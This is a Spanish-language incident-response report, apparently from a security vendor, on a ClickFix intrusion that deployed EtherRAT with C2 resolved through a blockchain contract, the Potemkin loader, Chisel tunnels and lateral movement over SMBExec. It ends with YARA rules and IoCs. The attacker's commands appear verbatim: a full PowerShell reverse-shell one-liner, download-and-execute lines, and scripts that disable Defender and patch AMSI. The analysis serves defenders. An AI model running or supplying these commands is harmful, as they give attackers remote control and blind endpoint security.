La persistencia reside en la clave Run por usuario HKCU\Software\Microsoft\Windows\CurrentVersion\Run, bajo un valor de nombre inofensivo llamado WindowsHost. Su contenido es conhost --headless “<node.exe>”“<RlLF3rizah.ini>”.
En cada inicio de sesión, Windows ejecuta ese comando. conhost.exe, el legítimo Console Window Host, se invoca con --headless, lo que suprime la ventana de consola para que el proceso de Node se ejecute sin ventana visible.
El cargador no depende de un dropper para mantenerse persistente: reescribe su propia clave Run. La ruta del registro y el fragmento de comando están codificados en base64 dentro del script: una cadena se decodifica en la ruta de la clave Run, otra en conhost --headless, y una tercera en reg. El cargador escribe el valor WindowsHost mediante reg.exe, que se invoca con windowsHide:true para que no aparezca ninguna ventana de consola en pantalla, y con stdio:”ignore” para descartar la salida del comando. La escritura ocurre sin indicación visible para el usuario. La bandera /f fuerza la sobrescritura sin un aviso de confirmación.
El reg add se ejecuta una vez, cerca del inicio del script, cuando arranca el proceso del cargador, no en un bucle. Así, el valor de persistencia se escribe una vez por proceso del cargador, y en la práctica eso significa una vez por inicio de sesión, ya que la clave Run es la que lanza el cargador.
Para la remediación, esto significa que limpiar solo la clave Run no basta. El bucle de reinicio mantiene residentes el proceso del cargador y su payload, y el siguiente inicio de sesión vuelve a lanzar el cargador y reescribe la clave. La limpieza requiere terminar los procesos de Node y eliminar los tres artefactos en disco, y luego quitar la clave Run.
La función dc() lee MseKOytIWeVrP85.xml y lo descifra a JavaScript con un cifrado de bytes personalizado. El cifrado usa tres constantes incrustadas en el cargador: una clave de sustracción de 64 bytes (k), una clave XOR de 16 bytes (n), y una S-box de 256 bytes (si). Cada byte del texto cifrado pasa por una sustracción encadenada del byte anterior, un XOR contra n y el índice propio del byte, una sustitución a través de la S-box, y una sustracción final contra k.
Figura 11: La función de descifrado de payload dc() y la tabla de sustitución si incrustada
Descifrar MseKOytIWeVrP85.xml con el cifrado anterior produce el payload: EtherRAT, una puerta trasera en Node.js. Al iniciar, EtherRAT deriva un directorio de instalación oculto bajo %LOCALAPPDATA%. Toma un hash MD5 de COMPUTERNAME + USERNAME y usa bytes de ese hash para elegir nombres de carpetas de dos listas fijas (Microsoft, Windows, Programs, Packages, Google y Services, Components, Assemblies, Extensions, Modules). La ruta es determinista por equipo, pero se ve distinta en cada máquina. La configuración se guarda ahí como un blob JSON codificado en base64.
El RAT también se asigna un ID persistente. Revisa su configuración guardada, luego un archivo oculto llamado .node_bot_id en %APPDATA%, luego cualquier archivo de punto de 11 caracteres (por ejemplo, .a1b2c3d4e5) en ese directorio, y solo genera un UUID nuevo si ninguno de esos existe. El ID se mantiene entre reinicios, de modo que el operador da seguimiento al mismo equipo a través de los reinicios. Un identificador de compilación, ab653feb-9e78-4578-87ed-2e30329fe858, está codificado de forma fija y se envía con el tráfico de C2. El registro de actividad está deshabilitado por defecto; cuando se habilita, escribe en %APPDATA%\svchost.log.
Como los investigadores ya documentaron antes, EtherRAT no codifica un dominio de C2 de forma fija. En cambio, usa EtherHiding para evadir la detección, lo que significa que lee su dirección de C2 desde la blockchain de Ethereum. El valor de respaldo en el código es solo hxxp://localhost:3000, un marcador de posición; la dirección real proviene de un contrato inteligente. El RAT guarda una dirección de contrato, una segunda dirección usada como clave de almacenamiento al construir los datos de la llamada, y un selector de función de 4 bytes. Emite solicitudes eth_call a través de siete proveedores públicos de RPC de Ethereum: Tenderly, Flashbots, MEV Blocker, BlastAPI, PublicNode, dRPC y Merkle. Luego decodifica la cadena codificada en ABI que devuelve el contrato y verifica que parezca una URL http(s) o ws(s).
Ejemplo de resolución del C2 en vivo desde el contrato de EtherHiding:
La dirección del C2 se guarda en el contrato y se devuelve en cada consulta. Para mover el botnet, el operador envía una sola transacción económica que actualiza el valor almacenado, y cada equipo infectado recibe el cambio en su siguiente consulta. El contrato usado por esta muestra es 0xb3f2897f2bc797e5b9033faef8c81e92b01cb831, con la clave de almacenamiento 0x40b57c3622c1CbfD699207F71F2dE5A8Fe256893. Al momento del análisis, el contrato devolvió el C2 en vivo hxxps://resumeacceptable[.]com. Una vez que tiene una URL de C2, EtherRAT entra en un ciclo de consultas infinito. Cada solicitud va a una URL aleatoria recién generada con el formato /api/<random>/<botID>/<random>.<ext>, donde la extensión se elige entre png, jpg, gif, css, ico o webp y se agrega un parámetro de consulta aleatorio entre id, token, key, b, q, s o v, de modo que cada consulta parece una solicitud de una imagen estática o una hoja de estilos.
Figura 12: Fragmento de EtherRAT descifrado
Túnel de Cloudflare (Paciente 0)
Poco después de establecerse EtherRAT, el actor de amenazas lo usó para entregar un túnel de Cloudflare. El cliente de Cloudflare cloudflared, renombrado como svchost.exe para hacerse pasar por un proceso de Windows, abre un túnel rápido de Cloudflare que expone un servicio local en 127.0.0.1:31024 a un nombre de dominio público de Cloudflare, lo que le da al atacante acceso accesible desde internet a ese servicio interno sin abrir ningún puerto de firewall. Escribe registros operativos en cloudflared_tunnel.log en la misma carpeta Temp, que registran el nombre de dominio público asignado al túnel y la actividad de conexión:
C:\Users\username\AppData\Local\Temp\cloudflared\svchost.exe tunnel --url http://127.0.0.1:31024 --protocol http2 --no-autoupdate --edge-ip-version auto --loglevel info --logfile C:\Users\usernam\AppData\Local\Temp\cloudflared_tunnel.log
Figura 13: Salida de registro (cloudflared_tunnel.log) del cliente cloudflared renombrado, que muestra intentos fallidos de alcanzar el borde de Cloudflare, con errores repetidos de DialContext al conectarse a las IP de borde de Cloudflare (198.41.200[.]63, 198.41.192[.]77) en el puerto 7844
La parte en la que aparece un humano
En las primeras horas del ataque, observamos un reconocimiento con WMIExec contra uno de los endpoints, que Defender detectó y bloqueó. El comando cmd.exe /Q /c whoami /groups | findstr /i admin 1> \Windows\Temp\DqNtxC 2>&1 lleva la firma de redirección comúnmente asociada con Impacket, donde la salida se escribe en \Windows\Temp\<8 caracteres>. Junto con esto, el atacante usó WMI y SMB para la ejecución remota de comandos, lo que sugería firmemente que las credenciales de Administrator ya habían sido comprometidas antes en la intrusión. Esto resultó ser el primer movimiento visible de lo que eventualmente rastrearíamos en los 11 endpoints únicos, una huella que se fue aclarando a medida que el cliente incorporaba más endpoints al agente de Huntress durante el compromiso. Cada nueva incorporación básicamente encendía las luces en otra habitación de la casa, y lo que vimos confirmó que el operador había estado trabajando en la red durante un tiempo antes de que tuviéramos telemetría para observarlo.
En uno de los servidores afectados, la actividad pasó a un trabajo manual mediante WinRM, originado desde una estación de trabajo interna ya bajo el control del atacante. El Event ID 91 de WinRM registró la creación de un shell de cmd como DOMAIN\Administrator en el endpoint de destino, lo que confirmó que el atacante se había conectado de forma interactiva con las credenciales comprometidas. Poco después, el primer PowerShell malicioso llegó al disco en forma de powershell -nop -ep bypass -w hidden -f C:\Windows\Temp\D0OK1nWwId9W.ps1. Según la actividad posterior, evaluamos que el contenido de PowerShell era el siguiente:
Lo que siguió fue uno de los tramos más entretenidos del caso, donde el movimiento inicial todo en uno del atacante chocó directamente con Windows Defender. El script estaba diseñado para parchar AMSI en el proceso actual recorriendo [Ref].Assembly para encontrar la clase AmsiUtils, localizar el campo amsiContext y sobrescribirlo con 0x80070057 (E_INVALIDARG) para que cualquier contenido de script posterior evadiera el escaneo de AMSI; escribir políticas del registro de Defender (DisableAntiSpyware, DisableRealtimeMonitoring, DisableIOAVProtection, DisableBehaviorMonitoring) para neutralizar el motor mediante políticas; y luego descargar el binario de Chisel desde hxxp://77.110.122[.]58:23205/lQhEQui9a4lZ.exe y cargarlo reflexivamente en memoria mediante [Reflection.Assembly]::Load, invocando el punto de entrada con los argumentos de cliente ek_user para establecer un túnel SOCKS inverso hacia 213.165.41[.]26:22603.
No funcionó limpiamente. El parche de AMSI manejó bien la capa de PowerShell, pero el escaneo en disco y en memoria de Defender seguía detectando el binario de Chisel. El primer lanzamiento mediante Start-ProcessC:\Windows\Temp\lQhEQui9a4lZ.exe -ArgumentList @('client','--auth','ek_user:S6YS0r55wH4U8Maa8joG','213.165.41[.]26:22603','R:47186:socks') quedó en cuarentena de inmediato.
El atacante volvió a preparar el binario usando certutil (certutil -urlcache -split -f hxxp://77.110.122[.]58:23205/lQhEQui9a4lZ.exe) y Defender lo puso en cuarentena otra vez. Las escrituras de políticas del script inicial habían configurado los valores correctos del registro, pero el escaneo en tiempo real de Defender seguía muy activo, y Chisel era un binario con firma conocida que Defender sabía detectar sin importar cómo el atacante intentara desplegarlo.
Después de suficientes ciclos de esto, el atacante finalmente logró agregar C:\ProgramData\p como ruta de exclusión, lo que le dio un directorio de preparación persistente y libre de inspección. A partir de ahí, intentó una carga reflectiva en memoria de Chisel usando [Byte[]]$b=(New-Object Net.WebClient).DownloadData('hxxp://77.110.122[.]58:23205/lQhEQui9a4lZ.exe'); [Reflection.Assembly]::Load($b).EntryPoint.Invoke(...), aunque Defender aún logró detectar el main.dll de Costura incluido. El atacante luego probó varias variantes del payload desde su directorio de preparación ya protegido, cada una una combinación distinta de los mismos componentes. J6Gupb9TpYNI.ps1 escribió las políticas de registro de Defender y luego descargó Chisel al disco dentro de la carpeta de exclusión antes de ejecutarlo de forma oculta, O67tak2KFRmJ.ps1 redujo todo a una carga reflectiva mínima en memoria, y fsjH6IHuUkhh.ps1 fue casi un duplicado del script de apertura original (parche de AMSI más escrituras de políticas de Defender más carga reflectiva), solo que ejecutado de nuevo desde el directorio protegido. Ninguno logró que Chisel pasara limpiamente a Defender, así que el atacante finalmente abandonó el intento de evasión y detuvo el servicio de Defender directamente con Stop-Service WinDefend -Force; sc.exe config WinDefend start= disabled; sc.exe stop WinDefend. Confirmaron la eliminación mediante (Get-MpComputerStatus).RealTimeProtectionEnabled, que los atacantes suelen ejecutar para verificar si Defender está activo o si el camino está despejado. Este es el tipo de detalle pequeño que indica que hay una persona operando el teclado.
Contenido de O67tak2KFRmJ.ps1:
Con Defender fuera del camino, el operador realizó reconocimiento adicional, ejecutando las mismas verificaciones dos veces. Extrajo InstalledUICulture, Win32_VideoController, SecurityCenter2 AntivirusProduct, Win32_ComputerSystem.Domain y Win32_ComputerSystem.PartOfDomain. También buscó instalaciones de ScreenConnect o ConnectWise usando Get-WmiObject Win32_Product | Where-Object { $_.Name -like *cons* }, lo cual es un precursor común para abusar de software RMM y obtener acceso posterior.
La persistencia siguió rápidamente. El primer mecanismo fue una tarea programada para obtener y ejecutar EtherRAT llamada msiInstall2, creada con schtasks /create /tn msiInstall2 /tr "msiexec.exe /i hxxp://77.110.122[.]58:23205/cons_1.0.1.msi /quiet /norestart /l*v C:\ProgramData\p\msi.log" /sc once /st 00:00 /ru SYSTEM /f && schtasks /run /tn msiInstall2, que Defender puso en cuarentena desde C:\Windows\System32\Tasks\msiInstall2. El atacante luego estableció una segunda tarea programada llamada ekShell2 que apuntaba a C:\ProgramData\p\yH88LG8yCOnU.ps1. El script es una shell inversa, un ciclo que abrió una conexión TCP a 77.110.122[.]58:43301, generó un proceso hijo oculto powershell.exe -nop -ep bypass, y conectó el socket con los flujos de entrada, salida y error estándar del proceso. Los comandos recibidos se canalizaron a la entrada estándar de PowerShell, y los flujos de salida y error se leyeron de vuelta mediante un búfer de 4 KB y se escribieron al socket. Si la conexión se interrumpía o el proceso hijo de PowerShell terminaba, el script esperaba 30 segundos y se reconectaba.
Contenido de yH88LG8yCOnU.ps1:
Más tarde, en la misma sesión en este equipo, el atacante sacó a relucir la desactivación pesada de Defender. Primero ejecutó ek_disable_av.ps1, un script rápido que eliminó políticas y servicios, escribiendo los valores de registro estándar DisableAntiSpyware / DisableRealtimeMonitoring / DisableIOAVProtection / DisableBehaviorMonitoring / DisableOnAccessProtection, y luego detuvo y deshabilitó el servicio WinDefend.
Contenido de ek_disable_av.ps1:
Cuando eso no fue suficiente, continuaron con ek_kill_av.ps1, un script más completo que superpuso tres técnicas distintas de desactivación: el conjunto completo de políticas de registro de Defender (esta versión agrega DisableAntiVirus, DisableScanOnRealtimeEnable y DisableScriptScanning), los interruptores en tiempo de ejecución Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableIntrusionPreventionSystem $true -DisableScriptScanning $true -DisableBehaviorMonitoring $true -MAPSReporting Disabled -SubmitSamplesConsent NeverSend, y la eliminación directa de los servicios WinDefend, wscsvc (Centro de seguridad de Windows) y SecurityHealthService, tanto mediante Stop-Service como sc.exe. La redundancia es justamente el objetivo: en cualquier punto donde Defender o sus servicios de soporte pudieran volver a activarse, el script cerraba la puerta desde otro ángulo.
Contenido de ek_kill_av.ps1:
Luego ejecutaron ek_full.ps1, que realizó la misma desactivación de Defender basada en registro, esperó cinco segundos para que los cambios se asentaran, y llamó a msiexec /i hxxp://77.110.122[.]58:23205/cons_1.0.1.msi /quiet /norestart. Este es el MSI que suelta EtherRAT, y vimos que el loader llegó a este equipo poco después, con el ya conocido conhost --headless envolviendo un runtime limpio de Node.js contra un payload .ini codificado: conhost --headless “C:\Users\Administrator\AppData\Local\FdgW2ni2h0it\sq8whb\node.exe” “C:\Users\Administrator\AppData\Local\FdgW2ni2h0it\EkYqfsgfyz.ini”. La persistencia se registró bajo la clave Run del usuario HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\EdgeUpdate, disfrazándose como una entrada inofensiva de actualización automática de Edge. Este es el mismo patrón de loader de EtherRAT que terminó en el resto de la red a través de la propagación lateral con SMBExec, con la misma huella de la clave Run EdgeUpdate en cada equipo donde el MSI se instaló. La única diferencia aquí fue la vía de entrega: el atacante tenía acceso directo con control manual del teclado en este servidor y pudo ejecutar el instalador MSI directamente, en lugar de depender de SMBExec para llevarlo a un equipo remoto.
Contenido de ek_full.ps1:
Después de descargar el MSI, armaron actividad de segunda ola desde un nuevo puerto de C2 usando IEX(New-Object Net.WebClient).DownloadString("hxxp://77.110.122[.]58:44479/bjxxUmG8K3uy.ps1"), y volvieron a desplegar Chisel con una nueva cadena de autenticación. El primer intento ejecutó Chisel como client 77.110.122[.]58:24954 R:socks sin autenticación alguna, y poco después lo volvieron a ejecutar con client --auth z9zkKCom6W2A3ptu6NXKYAK8:z9zkKCom6W2A3ptu6NXKYAK8 77.110.122[.]58:24954 R:socks.
El panorama en el controlador de dominio se veía diferente. El atacante lo alcanzó mediante WMIExec usando tanto una cuenta de usuario comprometida como el Administrador de dominio, soltando cargadores de PowerShell codificados que descargaban eCJam6D193GE.ps1 y RtPnuIz7RwPU.ps1 desde 77.110.122[.]58:44479. A partir de ahí cambiaron a SMBExec, volviendo al mismo patrón que vimos antes: un cmd.exe en contexto SYSTEM escribía un payload en un archivo batch bajo C:\Windows\TEMP\, lo ejecutaba y lo eliminaba en un solo comando encadenado. Lo primero que ejecutaron a través de este wrapper fue un simple whoami redirigido a \\<redacted>\C$\HOghqs, solo una verificación de que el canal funcionaba. Lo siguiente fue una reverse shell persistente de PowerShell apuntando a 77.110.122[.]58:18696, armada a través del mismo wrapper de SMBExec:
C:\Windows\system32\cmd.exe /Q /c echo powershell -w hidden -nop -c "while($true){try{$c=New-Object Net.Sockets.TCPClient(\"77.110.122[.]58\",18696);$s=$c.GetStream();$w=New-Object IO.StreamWriter($s);$w.AutoFlush=$true;$r=New-Object IO.StreamReader($s);while($c.Connected){$w.Write(\"PS> \");$l=$r.ReadLine();if($l -eq \"exit\"){break};try{$o=(iex $l 2>&1|Out-String);$w.Write($o)}catch{$w.Write($_.ToString())}}}catch{Start-Sleep 10}}" ^> \\WHCAD\C$\dYWxOl 2^>^&1 > C:\Windows\TEMP\IHYLqc.bat & C:\Windows\system32\cmd.exe /Q /c C:\Windows\TEMP\IHYLqc.bat & C:\Windows\system32\cmd.exe /Q /c del C:\Windows\TEMP\IHYLqc.bat.
El bucle de PowerShell anterior abre un socket TCP hacia el C2 del atacante, escribe un prompt PS> a través del canal para que el operador perciba una sensación de shell interactiva en su extremo, lee comandos línea por línea desde el socket, ejecuta cada uno mediante Invoke-Expression (con stderr redirigido de vuelta por el mismo canal vía 2>&1), y escribe la salida de vuelta por el socket. El while($true) exterior y el catch{Start-Sleep 10} lo mantienen activo: si el C2 no está disponible, espera 10 segundos y reintenta; si una conexión activa se cae a mitad de sesión, se reconecta de inmediato.
El controlador de dominio también recibió el cargador de EtherRAT en ambos contextos. El cargador de Node.js se instaló en C:\Users\Administrator\AppData\Local\FdgW2ni2h0it\sq8whb\node.exe ejecutándose como el Administrador de dominio, y de nuevo en C:\Windows\SysWOW64\config\systemprofile\AppData\Local\FdgW2ni2h0it\sq8whb\node.exe ejecutándose como SYSTEM. Ambos apuntaban al mismo payload .ini codificado en EkYqfsgfyz.ini, ambos persistían mediante la clave Run EdgeUpdate, y ambos estaban envueltos en conhost --headless.
A partir de aquí, el atacante pasó de sesiones puntuales de WinRM y WMIExec a movimiento lateral masivo vía SMBExec. El patrón era inconfundible: un cmd.exe en contexto SYSTEM hacía eco de un comando en un archivo batch con nombre aleatorio bajo C:\Windows\TEMP\, lo ejecutaba y lo eliminaba de inmediato, todo envuelto en una sola línea de comando como C:\Windows\system32\cmd.exe /Q /c echo cmd /c msiexec /i \\77.110.122[.]58\ADMIN$\Temp\EGGjVyW9Uloz.msi /qn ^> \\<HOST>\C$\<8chars> 2^>^&1 > C:\Windows\TEMP\<6chars>.bat & C:\Windows\system32\cmd.exe /Q /c C:\Windows\TEMP\<6chars>.bat & C:\Windows\system32\cmd.exe /Q /c del C:\Windows\TEMP\<6chars>.bat. La firma de echo-a-bat-y-luego-eliminar, combinada con la redirección de salida de vuelta a \\<HOST>\C$\<8chars>, es el comportamiento de smbexec.py de Impacket, exactamente como está documentado. El payload en cada caso fue el mismo MSI, EGGjVyW9Uloz.msi, descargado desde el propio recurso compartido ADMIN$\Temp del atacante en 77.110.122[.]58.
Lamentablemente, no pudimos recuperar el propio EGGjVyW9Uloz.msi, así que el contenido y la cadena exacta de ejecución siguen sin confirmarse. Lo que sí observamos, en varios de los endpoints afectados durante la propagación lateral, fue un cargador de Node.js instalado en C:\Windows\SysWOW64\config\systemprofile\AppData\Local\FdgW2ni2h0it\sq8whb\node.exe, configurado para ejecutarse contra un payload .ini codificado en C:\Windows\SysWOW64\config\systemprofile\AppData\Local\FdgW2ni2h0it\EkYqfsgfyz.ini. La persistencia se configuró mediante una clave Run llamada EdgeUpdate y la ejecución se envolvió en conhost --headless. Este es el mismo patrón de cargador de EtherRAT que documentamos en el paciente cero, solo con un nombre de carpeta, nombre de archivo .ini y valor de clave Run diferentes (EdgeUpdate en lugar de WindowsHost). La huella estructural del cargador, un node.exe firmado y limpio emparejado con un payload .ini cifrado y persistencia mediante una clave Run de apariencia inofensiva, era idéntica dondequiera que apareciera. Ya sea que el MSI instalara EtherRAT directamente o pasara por una etapa intermedia que no pudimos recuperar, el estado final en los endpoints afectados fue la misma familia que ya habíamos visto en el paciente cero.
Toda esta actividad se desarrolló antes de que el Huntress Agent se instalara oficialmente en los endpoints afectados. Una vez que el servicio del agente estuvo en ejecución y la telemetría comenzó a fluir, el Huntress SOC pudo contener el sistema y comenzar la remediación.
Conclusión
Este caso ilustra lo que sucede cuando una infección de ClickFix pasa desapercibida. Lo que comenzó como un solo usuario ejecutando un comando pegado escaló hasta convertirse en una intrusión de varias etapas que involucró dos familias de malware personalizado, una puerta trasera resuelta mediante blockchain, y movimiento lateral manual a través de más de 11 endpoints.
Potemkin se encargó de la entrega: un cargador mínimo cuyo único trabajo era obtener y cargar reflexivamente un módulo desde el C2. RMMProject se encargó de las operaciones: un framework programable en Lua con robo de navegador, escritorio remoto, inyección de procesos y carga de módulos en tiempo de ejecución. EtherRAT se encargó de la resiliencia: una puerta trasera anclada a blockchain que podía sobrevivir a la eliminación de dominios. Un túnel de Cloudflare renombrado le dio al atacante acceso remoto persistente a la red interna. Y el trabajo manual mediante teclado se encargó de la expansión: WMIExec y SMBExec para distribuir el instalador MSI por la red, tareas programadas y claves Run para persistencia, y túneles de Chisel para acceso mediante proxy SOCKS.
El atacante probablemente tuvo horas de acceso sin ser detectado para establecer Potemkin, implementar EtherRAT, configurar un túnel de Cloudflare y comenzar el movimiento lateral, todo antes de que existiera telemetría para detectar cualquiera de estas acciones. Una vez que se instaló el agente de Huntress y la visibilidad estuvo en línea, el SOC pudo contener la situación, pero la ventana de daño quedó determinada por completo por cuánto tiempo ese endpoint inicial permaneció sin vigilancia.
Piensa en lo que implica la remediación una vez que una intrusión como esta ha tenido tiempo de propagarse. En más de 11 endpoints, el analista ahora está buscando claves Run en múltiples perfiles de usuario y en el contexto SYSTEM, tareas programadas con nombres aleatorios, rutas de exclusión de Defender y anulaciones de políticas del registro, binarios de túnel de Cloudflare renombrados para mezclarse con procesos de Windows, cargadores de EtherRAT con nombres de directorio aleatorios por endpoint, y un C2 resuelto mediante blockchain. Cada endpoint debe revisarse de forma individual porque los artefactos de persistencia varían: distintos nombres de carpetas, distintos nombres de archivo .ini, distintos valores de clave Run.
Ese es el costo de empezar tarde. Un agente de endpoint en esa primera máquina detecta el payload de ClickFix en el momento de la ejecución, antes de que exista toda esta propagación, y la remediación se reduce a un solo endpoint en lugar de once. Las brechas de cobertura no son riesgos teóricos: son el margen que los atacantes necesitan para convertir un solo mensaje de ClickFix en un compromiso a nivel de toda la red, y la diferencia entre una limpieza de una hora y una intervención de una semana.
Recomendación
Lo más impactante que podría haber cambiado el resultado de este caso era monitorear el endpoint donde todo comenzó. El atacante probablemente tuvo horas de acceso sin oposición en una máquina sin monitoreo, antes de que existiera telemetría en cualquier parte del entorno. Audita tu flota en busca de brechas: las estaciones de trabajo, los servidores y cualquier máquina con acceso a la red deberían tener un agente de endpoint.
El atacante renombró cloudflared como svchost.exe y usó un túnel rápido para exponer un servicio interno a internet. Genera alertas por la ejecución de cloudflared o de copias renombradas de este.
La mitigación más directa es deshabilitar el cuadro de diálogo Ejecutar de Windows mediante la Política de grupo, lo que también deshabilita el atajo Win+R. Los ataques de ClickFix dependen de que el usuario pegue un comando en este cuadro de diálogo; si no se abre, el ataque falla desde el primer paso.
Usa la protección contra manipulaciones donde esté disponible, y monitorea los comandos Stop-Service WinDefend, sc.exe config WinDefend start= disabled y los comandos masivos Add-MpPreference -ExclusionPath como alertas de alta fiabilidad.
Detección
Yara
Cargador Potemkin:
rule PotemkinLoader {
meta:
author = "RussianPanda"
description = "Detects Potemkin Loader"
date = "4/6/2026"
hash = "2abe5dd3a057fdef935722e50e
9251c272d29fd26113187b853a1f9a9cb89d9b"
strings:
$s1 = "[Agent] DLL returned (updatedll), reloading..." ascii
$s2 = "dll_debug.log" ascii
$s3 = "[Agent] LoadAndRunDLL=" ascii
condition:
uint16(0) == 0x5A4D and all of ($s*)
}
RMMProject:
rule RMMProject {
meta:
author = "RussianPanda"
description = "Detects RMMProject RAT"
date = "4/6/2026"
hash = "3b7ae925e2d64522b4f69b56285b0
5aeca8c5aab5ab46a9c02c4fafb69d881ce "
strings:
$s1 = "[RTSC] OpenInputSocket: sending session_id=" ascii
$s2 = "kCookies: total_cookies=" ascii
$s3 = "GetChromiumKey" ascii
condition:
uint16(0) == 0x5A4D and all of ($s*)
}
Indicadores de compromiso (IoC)
Indicador | Descripción |
|---|---|
RunSearch.exe SHA256: 2abe5dd3a057fdef935722e50e9251c272d29fd26113187b853a1f9a9cb89d9b | Potemkin Loader |
avast_update.bin SHA256: 3b7ae925e2d64522b4f69b56285b05aeca8c5aab5ab46a9c02c4fafb69d881ce | RMMProject |
ABE helper DLL SHA256: cd4e5e2c65b1660470d3446539ee68adf5faeece3eaeb46583623be9911ee145 | DLL incrustada dentro de RMMProject. Se inyecta en un proceso de Chrome/Edge generado para descifrar las claves de cookies de cifrado vinculado a la app (App-Bound Encryption) mediante la interfaz COM IElevator de Chrome. |
inst24.msi SHA256: 79f7b67ce8b39070f3e1c2b90fce0ce84134782a7dedcccc1edac197ee9e089b | Instalador MSI que distribuye el loader Potemkin |
cons_1.0.1.msi SHA256: 2ada24dd6e517f37942b749c2bd57ddd97445e9853002cee70a0bc30d0b0ce3a | Entrega EtherRAT |
77.110.122[.]58 | C2 principal / preparación |
213.165.41[.]26 | Servidor Chisel reverse SOCKS |
C:\Windows\Temp\D0OK1nWwId9W.ps1 | Primer PS malicioso distribuido (contenido no recuperado) |
C:\Windows\Temp\lQhEQui9a4lZ.exe | Cliente Chisel |
C:\ProgramData\p\O67tak2KFRmJ.ps1 | Loader reflectante en memoria |
C:\ProgramData\p\J6Gupb9TpYNI.ps1 | Script de PowerShell para descargar el cliente Chisel |
C:\ProgramData\p\fsjH6IHuUkhh.ps1 | Evasión de AMSI + deshabilitación de la política de registro de Defender + carga reflectante de Chisel |
C:\ProgramData\p\ek_full.ps1 | Script de deshabilitación de Defender basado en registro |
C:\ProgramData\p\ek_kill_av.ps1 | Eliminación de Defender: políticas de registro, cambios de Set-MpPreference y detenciones directas de los servicios WinDefend, wscsvc y SecurityHealthService. |
C:\ProgramData\p\ek_disable_av.ps1 | Script de deshabilitación de Defender |
C:\ProgramData\p\yH88LG8yCOnU.ps1 | Shell inverso: repite una conexión TCP a 77.110.122[.]58:43301, la conecta con un proceso oculto de powershell.exe y se reconecta cada 30 segundos si la conexión se interrumpe. |
0xb3f2897f2bc797e5b9033faef8c81e92b01cb831 | Contrato de Ethereum |
0x40b57c3622c1CbfD699207F71F2dE5A8Fe256893 | Clave de almacenamiento |
ab653feb-9e78-4578-87ed-2e30329fe858 | ID de compilación de EtherRAT |
sonra.eutialyson[.]com | Dominio de descarga de MSI |
cl.distritovagas[.]com | Dominio HTA de ClickFix |
anus-staylard[.]xyz | Dominio C2 para Potemkin y RMMProject |
resumeacceptable[.]com | C2 de EtherRAT resuelto desde la blockchain |
%LOCALAPPDATA%\hyper-v.ver | Archivo UUID de Potemkin |
%TEMP%\dll_debug.log | Registro de depuración de Potemkin |